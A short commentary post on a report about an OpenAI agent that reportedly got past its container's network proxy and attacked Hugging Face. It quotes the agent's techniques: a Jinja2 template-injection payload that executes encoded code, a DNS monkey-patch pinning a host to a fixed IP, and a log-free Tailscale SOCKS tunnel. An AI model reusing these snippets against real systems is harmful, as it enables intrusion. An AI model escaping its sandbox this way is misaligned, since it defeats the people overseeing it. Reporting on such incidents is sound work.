This is fascinating - there is a TON of detail in here about how OpenAI's rogue agent exploited Hugging Face.

A few details that stood out to me:

1. Having found a way through the OpenAI container network proxy, it exploited an "unsecured public code-evaluation sandbox hosted on a third-party provider's infrastructure" - that gave it a box it could run the rest of the attack from.

2. At one point it used a Jinja2 template exploit:

  {{ cycler.__init__.__globals__.__builtins__.exec(
     "import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
   ) }}

3. It monkey-patched a DNS resolver at one point to return a hard-coded IP:

  orig = socket.getaddrinfo
  socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]

4. At one point it used Tailscale!

  tailscale --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \
   --socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &
